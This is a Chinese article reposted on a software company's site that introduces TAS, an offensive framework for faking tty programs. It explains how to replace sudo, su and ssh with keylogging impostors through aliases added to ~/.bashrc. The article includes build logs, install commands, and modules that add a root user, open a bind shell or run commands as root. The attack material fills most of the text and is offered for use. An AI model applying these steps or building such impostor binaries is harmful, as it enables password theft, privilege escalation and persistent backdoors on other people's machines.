网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

开发工具团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 工具 > 开发工具 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

TAS:轻量级框架,借助框架可修改tty并创建伪造代码,拥有tas_execv、tas_forkpty和tas_tty_loop三个主要函数

文章来源:重庆软件开发 发布时间:2020-02-24 16:01:06 围观次数:
分享到:

摘要:TAS是一款轻量级框架,借助框架可修改tty并创建伪造代码,拥有tas_execv、tas_forkpty和tas_tty_loop三个主要函数。

  TAS是一款轻量级框架,借助框架可修改tty并创建伪造代码,拥有tas_execv、tas_forkpty和tas_tty_loop三个主要函数。

  1. tas_execv:该函数类似于execv,但是它不会重新执行当前代码,这对于创建伪代码非常有用;


  2. tas_forkpty:该功能与forkpty相同,但是它将自动填充自定义结构,检查forkpty操作页面并获取详细信息;


  3. tas_tty_loop:此函数负责修改tty。我们可以为输入和输出数据设置挂钩函数,以便我们可以获取用户的击键输入或修改终端输出(leet-shell)。

  如果需要深入了解TAS的工作机制,可以查看此项目的“ tas / fakebins / fun”目录以获取更多信息。


  伪造代码


  通过修改PATH环境变量或使用别名(或支持别名的其他Shell),可以直接运行其他程序,而无需运行用户实际要运行的程序。这样,我们可以捕获目标用户的键盘点击数据并修改命令行以更改原始程序的行为。


  修改某些程序(例如sudo和su)的命令行将有助于我们在目标设备上实现特权升级。


  为了使每个人都更容易理解和使用TAS,我创建了三个示例程序来演示框架的功能,即sudo,su和generic-keylogger。


  generic-keylogger


  顾名思义,generic-keylogger可用作键盘记录程序,我们主要在这里使用它来获取ssh和mysql等程序的密码。


  sudo/su


  当然,它也可以用作键盘记录程序,或者您可以以root用户身份运行某些功能模块(通过修改命令行)。


  Cmd修改步骤


  首先,目标用户输入并运行以下命令:


  sudo cmd

  此时,实际命令如下:


  fakesudo cmd

  其中,fakesudo将执行以下命令:


  sudo fakesudo cmd

  使用root特权运行上述命令后,fakesudo将创建一个子进程来执行其某些功能模块,并且在该进程的主PID中,它将运行原始命令。请注意,只有当用户运行的命令是sudo cmd [args]时,fakesudo才会修改命令。如果添加了其他命令运行参数,则无法修改该命令。


  如果使用su,则情况类似于sudo。


  首先,目标用户输入并运行以下命令:


  Su -

  此时,实际命令如下:


  fakesu -

  其中,fakesudo将执行以下命令:


  su--c fakesu

  使用root特权运行上述命令后,fakesu将创建一个子进程来执行其某些功能模块,并且在该进程的主PID中,它将运行bash -i命令。


  注意:仅当用户运行su或su- su时,fakesu才会修改命令。如果添加其他命令运行参数,则无法修改该命令。


功能模块


  目前,该工具只有三个功能模块:


  1. add-root-user:使用/ etc / passwd中的密码创建一个root用户;


  2.bind-shell:监听传入的连接并生成一个tty shell;


  3.system:以root权限执行命令;

  项目下载


  研究人员可以使用以下命令在本地克隆项目源代码:


  git clone https://github.com/hc0d3r/tas.git

  项目建设


  首先,我们需要构建项目库:


  $ make

  CC .obj/globals.o

  CC .obj/getinode.o

  CC .obj/tas-execv.o

  CC .obj/tty.o

  CC .obj/xreadlink.o

  AR .obj/libtas.a

  接下来,我们需要运行以下命令来构建sudo,su和generic-keylogger:


  make [target-bin]

  建立样本:


  $ make su

 make[1]: Entering directory '/home/test/tas/fakebins/su'

 [+] configuring fakesu ...

 enable keylogger? [y/N] y

 number of lines to record [empty = store all]:

 logfile (default: /tmp/.keys.txt):

 use some FUN modules? [y/N] n

 [+] configuration file created in /home/test/tas/fakebins/su/config.h

  CC su

 make[1]: Leaving directory '/home/test/tas/fakebins/su'

工具使用示例


  创建一个fakessh


  编译:


  $ make generic-keylogger

 make[1]: Entering directory '/home/test/tas/fakebins/generic-keylogger'

 [+] configuring generic-keylogger ...

 number of lines to record [empty = store all]: 3

 logfile (default: /tmp/.keys.txt):

 [+] configuration file created in /home/test/tas/fakebins/generic-keylogger/config.h

  CC generic-keylogger

 make[1]: Leaving directory '/home/test/tas/fakebins/generic-keylogger'

  安装:


  $ mkdir ~/.bin

  $ cp generic-keylogger ~/.bin/ssh

 $ echo "alias ssh='$HOME/.bin/ssh'" >> ~/.bashrc

  演示:


  使用bind-shell模块


  编译:

 

 make[1]: Entering directory '/home/test/tas/fakebins/sudo'

 [+] configuring fakesudo ...

 enable keylogger? [y/N] n

 use some FUN modules? [y/N] y

 [1] add-root-user

 [2] bind-shell

 [3] system

 [4] cancel

 > 2

 listen port (Default: 1337): 5992

 [+] configuration file created in /home/test/tas/fakebins/sudo/config.h

  CC sudo

 make[1]: Leaving directory '/home/test/tas/fakebins/sudo'

  安装:


  $ cp sudo〜/ .sudo

  $ echo“ alias sudo ='$ HOME / .sudo'” >>〜/ .bashrc


leet-shell


  在leet-shell的用例中,您可以修改tty输出,这将允许您使用bash(类似于1337 h4x0r):


 [test@alfheim tas]$ make fun/leet-shell

  CC fun/leet-shell

[t3st@alfheim tas]$ fun/leet-shell

SP4WN1NG L33T SH3LL H3R3 !!!

[t3st@4lfh31m t4s]$ 3ch0 'l33t sh3ll 1s l33t !!!'

l33t sh3ll 1s l33t !!!


本文由 重庆软件开发 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:TAS 轻量级框架 修改tty 伪造代码 tas_execv tas_forkpty tas_tty_loop 重庆软件开发

上一篇:ApplicationInspector:软件源代码分析和审核工具,识别目标应用程序中的功能,了解目标应用程序的基本特征和实现。
下一篇:DLLPasswordFilterImplant:自定义密码过滤器DLL,用于捕获目标用户凭证信息。

热门资讯

鼠标向下滚动